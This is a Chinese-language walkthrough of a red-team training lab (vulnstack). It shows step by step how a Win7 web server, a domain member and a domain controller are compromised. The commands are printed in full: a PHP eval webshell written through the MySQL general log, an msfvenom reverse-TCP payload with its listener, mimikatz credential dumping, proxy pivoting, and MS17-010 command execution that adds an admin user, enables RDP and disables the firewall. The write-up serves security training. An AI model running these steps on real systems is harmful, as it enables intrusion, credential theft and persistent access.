web入口点不就是域管权限了吗
前言
该靶场是红日安全团队推出的红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。
拓扑图如下:
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
环境搭建
文件下载下来有三个压缩包,分别对应域中三台主机;
- VM1对应
Win7
是Web服务器 - VM2对应
Windows2003
是域成员 - VM3对应
Windows Server 2008
是域控
解压后双击各文件夹中的.vmx
文件即可一键创建虚拟机,登录密码都为hongrisec@2019
,2003和2008输入密码后会强制要求改密码;
接着配置网络:
win7网络适配器设置为自定义(VMnet1仅主机模式),再添加一个网络适配器设置为NAT模式;
Windows2003、Windows Server 2008网络适配器设置为自定义(VMnet1仅主机模式);
攻击机kali设置为NAT模式;
此时Win7、Windows2003、Windows Server 2008处于同一内网中,攻击机kali只能先拿下win7,再通过win7访问内网进行横向渗透;
- Kali:192.168.2.129
- Win7:外网192.168.2.133 内网193.168.52.143
- Windows2003:192.168.52.141
- Windows Server 2008:192.168.52.138
在win7上测试一下,能ping通kali和Windows2003、Windows Server 2008:
kali无法ping通win7,因为win7开了防火墙,更无法ping通内网中的2003和2008;
开启win7的phpstudy;
外网渗透
信息收集1
nmap扫一下,找到win7的IP地址为192.168.2.133;
继续扫一下win7开放了哪些端口;
访问80端口,是一个php探针页面,可以看到网站根目录绝对路径是C:/phpStudy/WWW
;
扫描一下网站目录,有phpmyadmin目录;
通过phpmyadmin getshell
访问,弱口令root/root可以登录;
尝试用sql语句写文件,结果因为MySQL服务器使用--secure file priv选项运行,所以无法执行此语句;
试试看能不能通过日志文件来写shell,执行show variables like '%general%';
查看一下日志状态;
日志功能是关闭的,开启后,执行过的sql语句都会保存到stu1.log,我们可以修改保存路径,存到我们指定的文件中;
先开启日志功能set global general_log=on;
修改日志保存路径为C:/phpStudy/WWW/shell.php
:set global general_log_file='C:/phpStudy/WWW/shell.php'
查询一句话木马SELECT '<?php eval($_POST["cmd"]);?>'
,这样shell就成功写入shell.php了;
用菜刀连接(我蚁剑连不上);
接下来看看有没有什么有用信息;
whoami
一看是管理员账号;
ipconfig
发现还有另一个网段,可知内网网段为192.168.52.x
;
net config Workstation
查看当前计算机名称,全名,用户名,以及所在的工作站域等信息;
net localgroup administrators
查看本地管理员,发现还有另一台用户;
systeminfo
查看系统信息,可以确定当前域为god.org
,域服务器名称为OWA
,并且还打了四个补丁;
反弹shell
由于win7启动了安全模式,所以无法直接反弹shell到kali上;
通过msf生成一个木马msf.exe
到win7上(-f 输出格式,-o 输出地址);
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=4444 -f exe -o msf.exe
使用exploit/multi/handler
模块开启msf监听;
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.129 (kali IP)
set lport 4444 (监听的端口)
run
在win7虚拟终端上运行msf.exe
,kali接受到反弹回来的shell成功建立会话;
接着getuid
查看一下当前权限,然后getsystem
提为system权限;(忘截图了)
提权成功,发现没有开启3389端口,执行run post/windows/manage/enable_rdp
开启3389端口;(忘截图了)
netstat
查看一下,3389端口已开启;
rdesktop 192.168.2.133
连接成功;
抓取密码
使用meterpreter中mimikatz模块获取密码,现在已经是system权限,load mimikatz
加载;
说是mimikatz被kiwi替代,后面就只能用kiwi的命令;
creds_msv 获取密码hash值
creds_kerberos 获取密码明文
成功抓取到登录密码;
进入内网
信息收集2
run post/windows/gather/enum_applications
查看win7上安装了哪些软件;
arp -a
查看路由表,可以看到另一个网段192.168.52.0/24
,还有另外两台主机;
run autoroute -s 192.168.52.0/24
添加录路由;
run autoroute -p
查看路由;
设置代理,方便访问内网服务;
use auxiliary/server/socks4a
set srvhost 192.168.2.129
set srvport 1080
run
然后修改vim /etc/proxychains.conf
的最后一行为socks4 192.168.2.129 1080
;
proxychains curl http://192.168.52.143/
试一试能否访问内网IP;
能成功访问,接下来扫一下另外两台主机开启了哪些端口,使用auxiliary/scanner/portscan/tcp
模块;
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set threads 100
run
其实前面扫出了win7上安装了nmap,用直接用nmap扫我觉得还比较快;
可以看到两台主机都开了135、445端口,说明都有SMB服务;
拿下域成员
使用auxiliary/scanner/smb/smb_version
扫描系统版本,是Windows2003版本;
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run
验证发现存在永恒之蓝漏洞;
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
search ms17_010
;
exploit/windows/smb/ms17_010_eternalblue
打不了,但是可以使用
auxiliary/admin/smb/ms17_010_command
模块执行命令;
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
set command net user blckder02 8888! /add
添加用户;
set command net localgroup administrators blckder02 /add
添加管理员权限;
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,否则会出错;
proxychains rdesktop 192.168.52.141
远程桌面连接成功,可以用添加的用户进行登录;
使用exploit/windows/smb/ms17_010_psexec
模块反弹一个shell;
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
接下来就可以和前面一样getsystem
进行提权,这样域成员就已经拿下了;
拿域控
因为192.168.52.138这台主机也同样开了135,445端口,所以同样使用auxiliary/scanner/smb/smb_version
扫描系统版本,是Windows server 2008版本;
接下来和拿2003主机一样的操作,依然可以用auxiliary/admin/smb/ms17_010_command
模块执行命令;
开启3389端口:set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
;
但是连接超时,可能是因为开启了防火墙,执行命令set command netsh firewall set opmode mode=disable
关闭防火墙;
成功连接,可以用前面抓取到的管理员账号密码登录:
照样用exploit/windows/smb/ms17_010_psexec
反弹一个shell;
渗透完毕;
思路总结
从web服务器寻找可以getshell的利用点,win7上有phpmyadmin目录,并且是默认密码可以登录;
利用日志文件写入一句话,菜刀连接,收集有用信息;
msf反弹shell,提权,抓取密码,arp发现内网;
添加路由,设置代理,访问内网资源;
扫描开放端口,利用445端口SMB服务,ms17_010对域成员和域控主机进行攻击;
关闭防火墙,开启3389,反弹shell